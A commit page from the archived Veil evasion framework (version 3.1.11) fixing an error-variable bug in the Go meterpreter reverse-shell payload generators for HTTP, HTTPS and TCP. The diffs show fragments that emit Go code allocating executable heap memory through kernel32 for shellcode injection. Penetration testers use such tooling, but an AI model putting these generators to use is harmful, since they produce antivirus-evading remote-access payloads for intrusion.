Skip to content
This repository was archived by the owner on Jan 10, 2024. It is now read-only.

Commit 1d81a37

Browse files
committed
Fixed bug in golang payloads with heap injection
1 parent 1be812e commit 1d81a37

File tree

5 files changed

+11
-7
lines changed

5 files changed

+11
-7
lines changed

CHANGELOG

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,7 @@
1+
[2018-05-17]
2+
Released.: 3.1.11
3+
Modified.: Golang/meterpreter/* payloads have big fixed when injection via heap. Thanks to Carlos for pointing this out
4+
15
[2018-05-16]
26
Released.: 3.1.10
37
Modified.: Setup script now in compatible with void thanks to PR #212

lib/common/messages.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
sys.exit()
1616

1717
# Current version of Veil
18-
veil_version = "3.1.10"
18+
veil_version = "3.1.11"
1919

2020

2121
def title_screen():

tools/evasion/payloads/go/meterpreter/rev_http.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -135,9 +135,9 @@ def generate(self):
135135
payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
136136
payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
137137
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size)
138-
payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
138+
payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
139139
payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
140-
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout)
140+
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, errorvariabledos, allocvarout)
141141

142142
payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo)
143143
payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random)

tools/evasion/payloads/go/meterpreter/rev_https.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -146,9 +146,9 @@ def generate(self):
146146
payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
147147
payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
148148
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size)
149-
payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
149+
payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
150150
payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
151-
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout)
151+
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, errorvariabledos, allocvarout)
152152

153153
payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo)
154154
payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random)

tools/evasion/payloads/go/meterpreter/rev_tcp.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -134,9 +134,9 @@ def generate(self):
134134
payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
135135
payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
136136
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size)
137-
payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
137+
payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
138138
payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
139-
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout)
139+
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, errorvariabledos, allocvarout)
140140

141141
payload_code += "func main() {\n"
142142
# Sandbox code goes here

0 commit comments

Comments
 (0)